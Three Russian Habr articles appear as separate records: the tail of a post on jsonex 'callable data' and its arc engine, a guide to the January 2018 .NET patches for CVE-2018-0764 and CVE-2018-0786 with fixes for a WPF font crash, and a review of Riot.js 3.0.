является корректным и, более того, вычислимым JS-выражением при условии, что `foo` и `bar` правильным образом определены.
Это, конечно, не означает, что стоит брать и вычислять jsonex с помощью `eval()`, определив необходимые переменные в соответствующем замыкании. Кроме потенциальных проблем с безопасностью, этот подход теряет часть гибкости, которую дает возможность проанализировать данные именно как данные, а не как нечто выполняемое. Тем не менее, в некоторых случаях jsonex действительно можно рассматривать как ограниченное подмножество JS и считать jsonex-данные JS-выражением.
#### Вычислимые данные (callable data)
Данные в jsonex представляют собой вычислимое выражение, которое может быть легко проанализировано перед вычислением или прямо в процессе вычисления. Почему бы не использовать такие выражения в качестве запросов к серверу? Например, запрос мог бы выглядеть так:
```
getUsers([1, 15, 7])
```
Сервер мог бы вычислить его с помощью соответствующего обработчика:
```
var handlers = {
getUsers: function (ctx, userIds) {
var listOfUsers = getUsersFromDbOrWhatever(userIds);
return listOfUsers;
}
};
```
Затем сериализовать результат в jsonex и отправить клиенту ответ:
```
[ User({id: 1, name: 'John', ...}), ...]
```
Клиент получит данные с честными объектами, готовыми к использованию. В то же время сервер превращается в простой вычислитель jsonex-выражений. Для расширения API достаточно добавить новый обработчик – не надо возиться с урлами, разбирать аргументы, приводить их к нужным типам, различать GET и POST, все заработает само.
#### Взгляд со стороны клиента
Давайте подумаем, как организовать вызов со стороны клиента. Собирать jsonex-представление вручную в виде строк типа `"getUsers([1, 15, 7])"` было бы неудобно. Поэтому нам пригодится вспомогательный объект, описывающий нотацию вызова и понимаемый сериализатором. Вот так могло бы выглядеть его использование:
```
var getUsers = function (userIds) {
return new jsonex.Call('getUsers', userIds); // вспомогательный объект
};
// пример использования гипотетического сериализатора
jsonex.stringify(getUsers([1, 15, 7])); // 'getUsers([1,15,7])'
```
В таком случае, запрос к серверу может выглядеть так:
```
server.ask(
getUsers([1, 15, 7]), // запрос
function (err, result) { // обработка ответа
...
}
);
```
`server.ask()` должен сделать следующее:
* Превратить первый аргумент в jsonex
* Отправить его в качестве запроса на сервер
* Дождаться jsonex-ответа и распарсить его
* Отдать полученный результат в callback-функцию
В нашем примере первый аргумент будет значением, которое вернет `getUsers()`, то есть объектом типа `jsonex.Call`, который сериализуется в строку `'getUsers([1,15,7])'`
Выглядит просто и симпатично. С точки зрения написания кода, все действия производятся над готовыми к использованию объектами, любые преобразования спрятаны под капотом. В примере использован callback, но при использовании Promise, все будет выглядеть еще приятнее.
Если полученный от сервера результат является наследником класса Error, то `server.ask()` считает, что сервер вернул ошибку и вызывает callback с соответствующими аргументами. Такой подход возможен, поскольку результат парсинга является готовым к использованию объектом нужного класса.
Соответственно, чтобы сообщить клиенту об ошибке, серверу достаточно вернуть объект нужного класса, используя подходящую нотацию вызова. При этом клиент должен реализовать обработчик, который заменит эту нотацию на объект класса, унаследованного от Error.
Пример ответа сервера с сообщением об ошибке:
```
UnexpectedError('Error details message')
```
Пример обработчика:
```
handlers.UnexpectedError = function(ctx, msg) {
return new ServerError(msg); // ServerError должен быть наследником Error
};
```
#### Преимущества вычислимых данных
Что нам дают вычислимые данные:
* Возможность указывать типы передаваемых объектов
* Стандартизированную обработку ошибок – достаточно вернуть объект нужного типа
* Элементарно реализуются batch-запросы
* Batch-запросы на стероидах – результаты одних вызовов могут быть использованы в качестве аргументов других
* Легко пробрасывать round-trip данные
* Легко передать дополнительную информацию – любые заголовки и метаданные, которые должны быть учтены при обработке, но не должны смешиваться с остальными данными
Batch-запрос, например, может выглядеть так:
```
[
getFoo(),
getBar(1, 2, 3),
]
```
В ответ придет массив с результатами вызовов `getFoo()` и `getBar()`.
Используем результат одного вычисления в другом:
```
[
set('x', getUserBooks(17)), // получить книги пользователя 17
getAuthors( // получить авторов книг
getProps( // вычленить свойство 'authorId' для каждого объекта из get('x')
get('x'), 'authorId'
)
),
]
```
Ответом будет массив со списком книг и списком авторов этих книг.
*Примечание:* В данном примере вызов `getProps()` может быть потенциально опасен, представляя возможность дотянуться до свойств, которые вы возможно не хотели раскрывать – будьте осторожны с реализацией подобных обработчиков.
Передача round-trip данных:
```
[
137, // данные, которые вернутся, например, id запроса
someRequest(...)
]
```
В ответе будет массив с числом 137 и результатом вызова `someRequest()`.
*Примечание:* В реальности нам пришлось бы использовать более сложную конструкцию, чтобы обеспечить возвращение round-trip данных, даже если во время обработки `someRequest()` будет брошено исключение.
Передача дополнительных данных:
```
last( // возвращает последний аргумент
metaInfo('метаданные или типа того', 1, 3, 4),
someRequest(...)
)
```
Здесь вызов `metaInfo()` может что-то изменить в контексте, вызвать дополнительные действия или еще как-то повлиять на обработку, но его возвращаемое значение не попадет в ответ, так как `last()` вернет только свой последний аргумент.
#### Работа с HTTP и веб сокетами
HTTP-запрос, помимо основных данных (тела запроса), содержит путь, метод и заголовки. HTTP-ответ содержит код возврата. При использовании jsonex удобно использовать единый путь для всех запросов – так же, как это обычно делается для batch-запросов и при взаимодействии с помощью веб сокетов. Можно раскидать API и по разным путям, но это редко имеет смысл.
HTTP метод нам не нужен, поскольку каждый запрос может включать любые вызовы, как получающие данные, так и изменяющие их. Тем не менее, поддержка различных HTTP методов может быть полезна или даже необходима для обеспечения правильной работы с браузерами, прокси-серверами и прочим HTTP-миром. Ее легко реализовать – достаточно добавить в контекст вычисления объекты request и response и наши обработчики смогут учитывать тонкости HTTP-протокола. То же касается кода возврата. Он не нужен в рамках jsonex-вычислений, но для правильного взаимодействия с HTTP-окружением стоит выставлять его правильно.
Что касается передачи самих данных, то все замечательно, когда они передаются в теле HTTP-запроса. В большинстве случаев так оно и будет, поскольку использование метода POST для jsonex-запросов выглядит разумным. Но если для каких-то целей используется GET, HEAD или DELETE, то придется передавать данные как часть URL, поскольку согласно стандарту тело этих запросов должно игнорироваться. Для этого есть простой и дешевый способ – передавать jsonex в единственном параметре query string, например `query`. Таким образом, запрос `getUsers([1,2,3])` превратится в обращение по адресу `example.com/api?query=getUsers%28%5B1%2C2%2C3%5D%29`
Это выглядит ужасно, но поскольку это внутренний вызов API, видеть его будут только программисты в процессе отладки. Такой подход нередко используется и для передачи данных в JSON-формате, поскольку он сильно облегчает как упаковку на стороне клиента, так и распаковку на стороне сервера. Если страшные адреса все же смущают, несложно написать инструменты, которые скроют их под капотом.
Для передачи метаданных можно использовать как HTTP-заголовки, так и возможности jsonex:
```
last(
authToken('myAuthToken'), // теперь сервер знает, кто я
someOtherHeader('blah blah'),
getUsers([1, 15])
)
```
Поскольку для веб сокетов нет штатного способа передавать заголовки с каждым сообщением, возможность интегрировать подобные данные в сам запрос очень удобна. Для веб-сокетов также важна возможность передавать round-trip данные и отсутствие необходимости указывать путь и метод для каждого запроса.
Для HTTP также важна идемпотентность запросов. Это свойство определяется HTTP методом: одни методы обязаны быть идемпотентными, другие – нет. Поскольку jsonex-запрос может представлять собой смесь идемпотентных и неидемпотентных вызовов, нам нужен механизм, позволяющий что-то с этим делать. Например, можно взводить флаг, требующий идемпотентности и проверять его в вызовах:
```
var handlers = {
idempotent: function (ctx) {
ctx.mustBeIdempotent = true;
},
updateUser(ctx, userData) {
if (ctx.mustBeIdempotent) {
throw new NonIdempotentCallError('updateUser');
}
...
}
};
```
Пример запроса:
```
last(
idempotent(),
[
getUsers([1,2]),
updateUser({id:1, ...}) // бросит исключение
]
)
```
Какие из вызовов идемпотентны, должно быть понятно из документации API, а вызов `idempotent()` даст нам уверенность, что в сложном запросе не использовано ничего опасного.
#### Соображения безопасности
При создании обработчиков, нужно помнить, что в запросе они могут быть вызваны с любыми аргументами и в любых комбинациях. Чтобы это не приводило к проблемам с безопасностью, следует придерживаться некоторых ограничений:
* Обработчики не должны выполнять потенциально опасных для системы действий
* Обработчики обязаны проверять свои аргументы и не допускать непредусмотренного использования
* Обработчики обязаны проверять количество данных в своих аргументах, ограничивая размер пакета обработки разумной величиной
* Обработчики должны проверять права доступа, если такая возможность предусмотрена системой
* Общая вычислительная сложной запроса должна быть ограничена
Последний пункт накладывает ограничение на запрос в целом и заслуживает отдельного рассмотрения. Самый простой способ контролировать сложность запроса – рассчитывать ее по мере вычисления и останавливаться, если превышен некоторый порог:
```
handlers.expesiveCall = function (ctx, args...) {
ctx.cost += calcCost(args...);
if (ctx.cost > ctx.costThreshold) {
throw new TooExpensiveError();
}
...
}
};
```
При расчете стоимости нужно учитывать аргументы, поскольку характер и количество переданных в них данных может сильно влиять на вычислительную сложность.
Другим вариантом может быть предварительный анализ запроса в целом. Это возможно, поскольку запрос представляет собой всего лишь данные. Но анализ сложных запросов может сам по себе быть непростой задачей, за вычислительной сложностью которой также придется следить.
Еще один подход – запускать вычисления в песочнице с искусственно ограниченным доступом к ресурсам. Если окружение позволяет делать это несложно и дешево, это может быть неплохим вариантом.
Важно помнить, что комбинация обработчиков потенциально может иметь эффект, недостижимый при использовании тех же обработчиков по-отдельности. Этот факт может скрывать за собой новые угрозы, но их несложно избежать. Если какое-то подмножество обработчиков внушает опасение в плане неожиданных сочетаний с другими, их всегда можно вынести в отдельный изолированный набор. Этот набор может быть доступен по отдельному адресу, либо активироваться добавлением в запрос специальных метаданных, вводящих необходимые ограничения.
В предельном варианте, ряд обработчиков может быть разрешен к использованию только по одиночке, либо в комбинации с совсем уж примитивными вызовами типа `Date()`. Эти обработчики по сути вернутся к привычной модели, не позволяющей более одного вызова в запросе. Вычислимые данные предоставляют широкие возможности, но при необходимости их несложно ограничить.
#### JSON-представление
Если вы хотите использовать jsonex прямо сейчас, вы столкнетесь с одной проблемой – в отличие от JSON, высокопроизводительные библиотеки парсинга и сериализации jsonex, мягко говоря, еще не столь широко доступны ) Но выход есть – можно использовать jsonex, опираясь на его JSON-представление. jsonex превращается в JSON применением трех простых правил:
```
// нотация вызова
f(...) => {"?": ["f", ...]}
// использование свойства '?'
{'?': value, ...} => {"?": ["?", value], ...}
// специальный случай, чисто для удобства
f({...}) => {"?": "f", ...}
```
Первое правило показывает, как записать в JSON-представлении нотацию вызова. При этом словарь, имеющий свойство '?' обретает особое значение. Второе правило отвечает на вопрос, как записать обычный словарь со свойством '?' так, чтобы не спутать его с нотацией вызова. А третье является синтаксическим сахаром, специальной формой записи нотации вызова для случаев, когда она имеет единственный аргумент и этот аргумент является словарем. Вот пример данных в jsonex и их же в JSON-представлении:
```
Person({ // класс Person
name: 'John',
dateOfBirth: Date('1901-01-01'),
i: Complex(0, 1),
d: { '?': 123 }
})
```
JSON-представление:
```
{
"?": "Person",
"name": "John",
"dateOfBirth": {"?": ["Date", "1901-01-01"]},
"i": {"?": ["Complex", 0, 1]},
"d": {"?": ["?", 123]}
}
```
JSON-представление выглядит сложнее, но обозначает то же самое. Его можно распарсить стандартным `JSON.parse()`, а затем довычислить вторым проходом. Либо, в некоторых простых случаях, его можно вычислить прямо во время парсинга при помощи reviver-функции, передаваемой в [JSON.parse()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse). То же самое касается сериализации в JSON-представление – ее легко сделать с помощью replacer-функции, передаваемой в [JSON.stringify()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify).
Вообще говоря, концепцию вычислимых данных можно добавить в качестве расширения практически к любому формату данных.
#### Асинхронные вызовы
В примерах, показанных ранее, неявно считалось, что все вызовы синхронны. Рассмотрим один из них внимательнее:
```
[
set('x', getUserBooks(17)),
getAuthors(getProps(get('x'), 'authorId')),
]
```
`getUserBooks()` и `getAuthors()`, вероятно, должны обращаться в некое хранилище данных, задействовать ввод-вывод и, соответственно, быть асинхронными. Значит мы не можем вычислить их на месте. А даже если можем (например, используя [fibers](https://github.com/laverdet/node-fibers/)), то все равно хотелось бы иметь возможность выполнять независимые асинхронные вызовы параллельно, а не один за другим.
Решением мог бы быть некий вычислительный движок, который помещал бы асинхронные вызовы в очередь на исполнение, а затем подставлял бы полученные результаты в нужные места. Тогда, вычислив все синхронные части, мы дождались бы выполнения асинхронных и после этого считали, что вычисление готово. В качестве очереди на выполнение можно использовать что-нибудь вроде [async.queue()](https://github.com/caolan/async#queue), выполняя задачи с заданным уровнем параллелизма.
Но на самом деле задача сложнее. В нашем примере вычисление одних вызовов зависит от других, мы не можем вычислить `set()`, пока не вычислим `getUserBooks()`. Поэтому при попытке вызвать `set()`, мы должны отложить это вычисление, указав всем вычислениям, от которых оно зависит, что, как только они будут готовы, необходимо довычислить `set()`. Здесь мы зависим ровно от одного отложенного вычисления – `getUserBooks()`, но возможны и более сложные зависимости.
Но и это еще не все. Вызов `get()` не способен вернуть ничего полезного, пока не выполнится `set()`. Поэтому `get()` тоже должен стать отложенным вычислением, на этот раз ожидающим сигнала от `set()`. В свою очередь `getProps()` зависит от `get()`, а `getAuthors()` зависит от `getProps()`.
Наш вычислительный движок должен будет учесть все эти зависимости и выполнить все отложенные вычисления в нужном порядке. Это кажется не очень простой задачей, поэтому хотелось бы иметь реализацию, доказывающую работоспособность подхода.
#### Arc
Проект [arc](https://github.com/dimsmol/arc_jsonex_js) был создан, чтобы показать, что концепция вычислимых данных жизнеспособна в том числе в случае использования асинхронных обработчиков и зависимых вызовов. Сам движок очень прост, он состоит из нескольких сотен строк кода и на данный момент не содержит никаких хитрых оптимизаций, что делает его очень понятным.
Исходными данными для движка является поток токенов. В настоящее время токенизация доступна только для JSON-представления, но работа с jsonex напрямую не за горами. Arc может использоваться как в node.js так и в браузере при помощи [browserify](http://browserify.org/). Написание асинхронных обработчиков для arc выглядит очень просто, достаточно обернуть асинхронный вызов в соответствующую директиву, а всю сложную работу движок выполнит под капотом:
```
handlers.getUserBooks = function (ctx, userId) {
return ctx.async(function (cb) {
doSomethingAsync(...args, cb);
});
};
```
Пока поддерживается только колбэки, поддержка Promise запланирована. Примеры использования движка, а также сериализации в jsonex и JSON-представление можно увидеть в [соответствующем разделе](https://github.com/dimsmol/arc_jsonex_js/tree/master/example).
**Дополнение**
Как это ни удивительно, спустя буквально несколько часов с момента выкладки статьи, у arc появилась [альтернатива](https://github.com/mayorovp/jsonex). Хабрапользователь [mayorovp](https://habrahabr.ru/users/mayorovp/) представил свою версию библиотеки для парсинга jsonex в JSON-представлении. Этот вариант библиотеки состоит из единственного файла, не имеет никаких зависимостей, использует стандартный `JSON.parse()` и поддерживает [A+ promise](http://promises-aplus.github.io/promises-spec/). К сожалению, в связи с ограничениями `JSON.parse()`, в этой реализации обработка асинхронных вызовов будет не столь эффективна, поэтому она сделана отключаемой. Вот пример использования альтернативной библиотеки с jQuery:
```
var parser = new JSONEX.parser({ allow_async: true, functions: {
Foo: function() {
var result = $.Deferred();
setTimeout(function() { result.resolve("Hello, world!"); }, 1000);
return result.promise();
}
}});
$.when(parser.parse('[{"?": ["Foo"]}]'))
.done(function(result) { console.log(result); });
```
#### Заключение
И сам jsonex, и arc в данный момент находятся в процессе разработки. Возможности jsonex, упомянутые в этой статье, вероятно не изменятся, но добавятся новые, такие как пространства имен (namespaces), бинарные части (binary chunks), потоковые данные (streams) и области (scopes). Arc, вероятно, изменится довольно сильно.
В силу новизны и необкатанности представленных идей, я бы рекомендовал использовать их с определенной долей осторожности. Тем не менее, я буду очень рад, если какие-то из них вам понравились и окажутся полезными в ваших проектах и экспериментах. Также буду признателен, если вы поделитесь своими впечатлениями, опытом и открытиями. | https://habr.com/ru/post/224261/ | null | ru | null |
# Январская починка дыр в .NET Framework и Core
Аккурат к концу новогодних каникул в России, 9-го января, Microsoft выпустили обновления, исправляющие [CVE-2018-0786](https://github.com/dotnet/announcements/issues/51) и [CVE-2018-0764](https://github.com/dotnet/announcements/issues/52). Починили так, что кое-где ещё и сломали. В этом коротком посте мы ещё раз вспомним, что это такое и что нам теперь делать.
Для иллюстрации этого хабрапоста я попытался изобразить решето. Как видите, у меня не получилось. К сожалению, сделать решето в коде — гораздо проще, чем изобразить его, в первый раз взяв в руки графический планшет.
Я тоже под угрозой?
===================
Если вы используете .NET Framework, нужно удостовериться, что у вас установлена версия 4.7.1, а Windows установил обновление [.NET Framework January 2018 Security and Quality Rollup](https://blogs.msdn.microsoft.com/dotnet/2018/01/09/net-framework-january-2018-security-and-quality-rollup/) ([KB4055002](https://support.microsoft.com/en-us/help/4055002)). Или, как минимум, [Security-Only Update](https://support.microsoft.com/en-us/help/4054183/description-of-the-security-only-update-for-net-framework-4-6-4-6-1-4) ([KB4054183](https://support.microsoft.com/en-us/help/4054183)).
Если это не так — у вас проблемы.
Проверить версию самого .NET Framework можно с помощью [инструкции по ссылке](https://docs.microsoft.com/ru-ru/dotnet/framework/migration-guide/how-to-determine-which-versions-are-installed). Чтобы не проверять каждый раз руками, есть [скрипт для Power Shell](https://stackoverflow.com/questions/3487265/powershell-script-to-return-versions-of-net-framework-on-a-machine).
Если вы используете .NET Core, то нужно пойти на файловую систему и посмотреть, какая версия рантайма установлена. Если там нет директории `1.0.9`, `1.1.6` или `2.0.5`, то у вас проблемы!
Где смотреть:
| | |
| --- | --- |
| Windows | C:\Program Files\dotnet\shared\Microsoft.NETCore.App\ |
| macOS | /usr/local/share/dotnet/shared/Microsoft.NETCore.App/ |
| GNU/Linux | /usr/share/dotnet/shared/Microsoft.NETCore.App/ |
Точный список уязвимых версий .NET Core:
| Версия рантайма | Исправлено в версии |
| --- | --- |
| 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.7, 1.0.8 | 1.0.9 |
| 1.1.0, 1.1.1, 1.1.2, 1.1.4, 1.1.5 | 1.1.6 |
| 2.0.0, 2.0.3, 2.0.4 | 2.0.5 |
Что делать?
-----------
Разработчикам придётся обновить .NET Framework до 4.7.1 и обновить Windows [самыми свежими обновлениями](https://blogs.msdn.microsoft.com/dotnet/2018/01/09/net-framework-january-2018-security-and-quality-rollup/). Не на всех версиях Windows это обновление работает хорошо (читайте статью до конца).
.NET Core SDK необходимо обновить до версий `2.1.4` или `1.1.7`. Сисадминам нужно обновить .NET Core до версий `1.0.9`, `1.1.6` или `2.0.5`.
[Self-contained](https://docs.microsoft.com/en-us/dotnet/core/deploying/#self-contained-deployments-scd) приложения придётся пересобрать, в остальных случаях достаточно обновления рантайма и SDK.
CVE-2018-0764: Denial of Service when parsing XML documents
===========================================================
Официальные ссылки
------------------
* [Github: .NET Foundation](https://github.com/dotnet/announcements/issues/52)
* [Common Vulnerabilities and Exposures Database](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0764)
Что случилось?
==============
.NET Framework и Core плохо парсят XML, пользуясь чем, хакер может устроить DDOS-атаку на ваше приложение.
В обновлении это починили. Эксплоиты *публично* не распространялись.
---
CVE-2018-0786: Security Feature Bypass in X509 Certificate Validation
=====================================================================
Официальные ссылки
------------------
* [Github: .NET Foundation](https://github.com/dotnet/announcements/issues/51)
* [Common Vulnerabilities and Exposures Database](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0764)
Что случилось?
--------------
В общедоступных версиях .NET Framework и Core есть уязвимость, позволяющая хакеру подсунуть сертификат, помеченный невалидным для конкретного способа использования, и тем не менее использовать его по этому назначению. Это позволяет игнорировать Enhanced Key Usage.
В обновлении это починили. Эксплоиты *публично* не распространялись.
Нужно ли обновлять пакеты?
==========================
Уязвимости подвержен пакет `Microsoft.NETCore.UniversalWindowsPlatform`.
Версия пакета указана вместе с соответствующей ему версией .NET Native.
| NuGet / .NET Native | Исправлено в версии |
| --- | --- |
| 5.2.\* / 1.4.\* | 5.2.4 |
| 5.3.\* / 1.6.\* | 5.3.5 |
| 5.4.\* / 1.7.\* | 5.4.2 |
| 6.0.\* / 2.0.\* | 6.0.6 |
Как починить моё приложение, если я использую .NET Core?
--------------------------------------------------------
Для этого бага важен тип приложения:
* Обычное
* [Self-contained](https://docs.microsoft.com/en-us/dotnet/core/deploying/#self-contained-deployments-scd)
* Native
Обычные приложения можно починить, просто установив нужную версию SDK или рантайма, на которых вы запускаетесь. Скачать можно [здесь](https://github.com/dotnet/core/blob/master/release-notes/download-archive.md).
Self-contained приложения придётся пересобрать со свежеобновлённым SDK и передеплоить.
Дальше поговорим о нативных приложениях. Нужно снова обработать его нативным компилятором обновлённого SDK и результат перевыложить в Windows Store.
MS рекомендует обновить UWP-приложения до самой последней минорной версии NuGet-пакета `Microsoft.NETCore.UniversalWindowsPlatform`, чтобы можно было пересобрать приложение и понять, что оно не развалилось. Можно, конечно, обновиться сразу и на более свежую мажорную версию, но это не обязательно — обновление выпускается для всех мажорных версий, которые пострадали от бага.
Вне зависимости от того, обновили ли вы свои NuGet-пакеты, все приложения, залитые в стор после 9-го января, будут автоматически чиниться прямо в ходе выкладывания в стор.
Если же вы не обновите своё приложение в сторе, его всё равно автоматически обработают и разошлют через Windows Update в течение ближайших недель. Все, у кого не отключены автообновления, получат обновлённую версию без необходимости в ручном вмешательстве кого-либо. А вот для sideloaded-приложений придётся самостоятельно обновить NuGet-пакеты, пересобрать их и доставить пользователям.
Обновления сломают Windows 7 и Windows Server при использовании .NET Framework
==============================================================================
Согласно вот [этому всё еще открытому багу](https://github.com/Microsoft/dotnet/issues/599), патч не только лечит, но ещё и калечит. Проблема возникает только при использовании Windows 7 Service Pack 1 и Windows Server 2008 R2 Service Pack 1.
Достаточно установить обновления или .NET Framework 4.7.1, как WPF-приложения, запрашивающие fallback font (или символ, не включенный в текущий шрифт), отвалятся со следующей ошибкой:
```
System.TypeInitializationException
“FileFormatException: No FontFamily element found in FontFamilyCollection
that matches current OS or greater: Win7SP1”.
Inner exception originates from: CompositeFontParser
```
Проблема в том, что инсталлятор неверно обрабатывает взаимодействие установщика обновлений (.NET Framework January 2018 Rollup — KB4055002) и уже установленного .NET Framework 4.7.1. Установщик Rollup случайно переписывает файл GlobalUserInterface.CompositeFont, пришедший с версией 4.7.1, отчего WPF-приложения начинают падать.
Существует три способа решения.
Способ первый: удалить январские обновления
-------------------------------------------
Нужно удалить: "January .NET Framework Security and Quality Rollup ([KB4055002](https://support.microsoft.com/en-us/help/4055002))".
И вместо этого установить: " January .NET Framework Security-Only Update ([KB4054183](https://support.microsoft.com/en-us/help/4054183))".
Чтобы сделать это, нужно выполнить следующие шаги:
1. Control Panel → Windows Update → View update history
2. В списке "Review your update history" найти и выделить "Security Update for Microsoft .NET Framework 4.6, 4.6.1, 4.6.2, 4.7, 4.7.1 (KB4055002)". Нажать Uninstall.
3. Когда спросят, действительно ли удалять — соглашайтесь.
4. Обязательно перезапустите компьютер, если вас об этом попросили.
5. Скачайте и установите патч безопасности нужной вам версии:
* [Security Only update for .NET Framework 4.6, 4.6.1, 4.6.2, 4.7, and 4.7.1 for Windows 7 SP1 and Windows Server 2008 R2 SP1 for x86 systems (KB4054183)](http://download.windowsupdate.com/d/msdownload/update/software/secu/2018/01/ndp47-kb4054183-x86_301cb3d6591b572786c8349c12a28e5ec5d2d334.exe)
* [Security Only update for .NET Framework 4.6, 4.6.1, 4.6.2, 4.7, and 4.7.1 on Windows 7 SP1 and Windows Server 2008 R2 SP1 for x64 systems (KB4055269)](http://download.windowsupdate.com/d/msdownload/update/software/secu/2018/01/ndp47-kb4054183-x64_a022ad5109b1208dff502d1be4477668b4fa258d.exe)
6. Делайте всё, о чём вас просят, а в конце — обязательно перезагрузите компьютер.
Способ второй: удалить .NET Framework 4.7.1, установить .NET Framework 4.7
--------------------------------------------------------------------------
1. Control Panel → Programs and Features
2. В списке "Uninstall or change a program", выделите "Microsoft .NET Framework 4.7.1" и нажмите Uninstall/Change.
3. Выберите "Remove .NET Framework 4.7.1 from this computer", и нажмите Next.
4. Нажмите continue и дождитесь удаления.
5. Нажмите Finish, когда удаление завершится.
6. Обязательно Перезапустите компьютер, если вас об этом попросят.
7. Установите [.NET Framework 4.7](https://www.microsoft.com/en-us/download/details.aspx?id=55170).
Способ третий: замените `GlobalUserInterface.CompositeFont` на правильный файл
------------------------------------------------------------------------------
1. Скачайте [GlobalUserInterface.CompositeFont](https://dotnetbinaries.blob.core.windows.net/kbassets/KB4074906/GlobalUserInterface.CompositeFont) (для Windows 7, стандартный путь установки — `%USERPROFILE%\Downloads`)
2. Откройте `cmd`, перейдите в `%windir%\Microsoft.NET\Framework\v4.0.30319\WPF\Fonts` и запустите:
`xcopy /y %USERPROFILE%\Downloads\GlobalUserInterface.CompositeFont`.
(или просто скопипастите файл GlobalUserInterface.Composite в это место)
3. Откройте `cmd`, перейдите в `%windir%\Microsoft.NET\Framework64\v4.0.30319\WPF\Fonts` и запустите:
`xcopy /y %USERPROFILE%\Downloads\GlobalUserInterface.CompositeFont`.
(или ещё раз воспользуйтесь копипастой файла в Проводнике).
4. Перезапустите WPF-приложение.
5. Если всё ещё не помогло, перезагрузите компьютер и снова перезапустите WPF-приложение.
Резюме
======
Даже очень хорошие и качественные проекты содержат ошибки. Чтобы не попасть впросак, нужно вовремя обновляться, [читать официальные новости](https://blogs.msdn.microsoft.com/dotnet) и изучать современные тенденции на [конференциях типа DotNext](https://dotnext-piter.ru/), конечно. Спасение утопающих — дело рук самих утопающих! | https://habr.com/ru/post/346764/ | null | ru | null |
# Вышел Riot.js 3.0
22 ноября года сиего [вышло обновление Riot.js](http://riotjs.com/release-notes/#november-22-2016) — минималистичной библиотеки для создания веб-интерфейсов. Как пишут её авторы на главной странице своего сайта, Riot.js — это «Simple and elegant component-based UI library». И она действительно очень простая и элегантная.
Я большой поклонник данного изобретения. Оно не забивает мой мозг лишней логикой, правилами и принципами. Оно даёт мне очень простое API для создания вложенных друг в друга компонентов и даёт возможность в действительно короткие сроки реализовать то, что мне требуется.
Для меня программирование и API различных популярных библиотек всегда было чем-то похожим на математику. На основе чего работает вся математика? На основе чистых и минималистичных формул, доведённых до совершенства. За время существования этой науки человечество смогло довести различные сложнейшие идеи до коротких и чистых выражений. И примерно тем же самым занимаются и хорошие библиотеки и фреймворки в мире программирования. Они предоставляют инженерам ПО простой и понятный API для решения проблем. Все мы знаем jQuery с его короткими и лаконичными методами для работы в браузере и её девиз "*write less, do more*". Или, скажем, многие знают о такой замечательной библиотеке, как [Sugar.js](https://sugarjs.com/) для добавления разумной порции сахарка вашим глобальным объектам JavaScript. И Riot.js — в точности об этом же, только на тему веб-компонентов с учётом всех последних тенденций в эволюции веб-технологий.
В совокупности с [Pug-шаблонизатором](https://pugjs.org), ваши веб-компоненты на основе Riot.js могут выглядеть как-нибудь вот так:
```
login-form
.login-title Авторизация
p Введите данные вашей учетной записи:
.login-form
form(method='POST', action='/auth/login')
.login-field
.login-label
label(for='email') E-mail
input(type='email' name='email')
.login-field
.login-label
label(for='password') Пароль
input(type='password' name='password' id='password')
.login-button
button.senddata(type='primary') Войти
.login-links
span.link.clickable(onclick="{ openPasswordForm }") Забыли пароль?
span.link.clickable(onclick='{ openRegisterForm }') Регистрация
script.
/* JS логика вашего компонента */
var tag = this
tag.openRegisterForm = function() {
RegisterForm.open()
}
tag.openPasswordForm = function() {
PasswordForm.open()
}
style.
/* Стили вашего компонента */
```
Это — практически стандартный HTML вместе со стандартным JS, при этом, он позволяет разбивать ваш код на независимые компоненты и инкапсулировать их логику и представление в отдельных и ясных сущностях, также, как это можно делать в React.js, к примеру. Есть [всего несколько моментов](http://riotjs.com/guide/#tag-syntax), которые надо знать о работе Riot.js, чтобы начать на нём писать. Это вам не [дока по Angular 2.0](https://drive.google.com/drive/folders/0BxgtL8yFJbacQmpCc1NMV3d5dnM) (я даже думать не хочу о том, чтобы сидеть и читать всю эту гору документов. Сколько времени уйдёт на это?).
Версия 3.0 не принесла никаких кардинальных изменений. Практически всё осталось работать точно также, как оно работало и ранее. Библиотека просто стала ещё более вылизанной и доработанной. Была исправлена масса мелких и тонких проблем.
#### Пара слов о проблемах Riot.js
Всё это конечно прекрасно, но если я не расскажу о проблемах, с которыми вы, возможно, столкнётесь при работе с данной библиотекой, я не буду достаточно правдив с вами. Как ни крути, но Riot.js [медленнее](https://rawgit.com/krausest/js-framework-benchmark/master/webdriver-ts/table.html) своих конкурентов (единственное — версия 3.0 вроде как должна быть более производительной, а в данных тестах проверяется вторая ветка библиотеки. Также следует иметь ввиду, что команда Riot.js в данный момент нацелена [на увеличение скорости](https://github.com/riot/riot/issues/2034) рендеринга компонентов и считает это своей целью на ближайшее будущее).
Где это может создать проблемы? Ну, скажем, у нас на том проекте, разработкой которого мы тут занимаемся, возникли проблемы с серверным рендером одного модуля, в котором у нас имеется 5-6 уровней вложенности компонентов. Так надо, по-другому невозможно написать этот модуль. Наш сервер на Digital Ocean рендерил этот модуль около 20-30 секунд на один запрос. Это очень уж много. Но покупать какой-нибудь выделенный сервер на Хетзнере только для того, чтобы решить эту проблему, как-то не хотелось. В итоге мы переписали конкретно данный компонент на React.js, после чего серверный рендеринг этого компонента начал отрабатывать за 5-10 секунд, что уже является вполне приемлемым для нас вариантом на данный момент (мы используем серверный рендеринг только для поисковых ботов, так что обычные пользователи не ждут 5-10 секунд до начала открытия страницы, для них контент просто рендерится в их браузерах).
В то же время, если рассуждать о производительности дальше, то я уже давно смотрю в сторону [Inferno](https://github.com/trueadm/inferno): посмотрите ещё раз на [таблицу производительности библиотек](https://rawgit.com/krausest/js-framework-benchmark/master/webdriver-ts/table.html). Эта библиотека практически идёт один в один с тестами на основе ванильного JS. Если честно, это действительно впечатляет. Быть может, попробовать писать сложные интерфейсы на ней? Кроме всего прочего, её явным плюсом является практически полная совместимость её API с React.js. То есть, чтобы начать работать с Inferno, вам не придётся ничего учить, если вы уже знаете React.
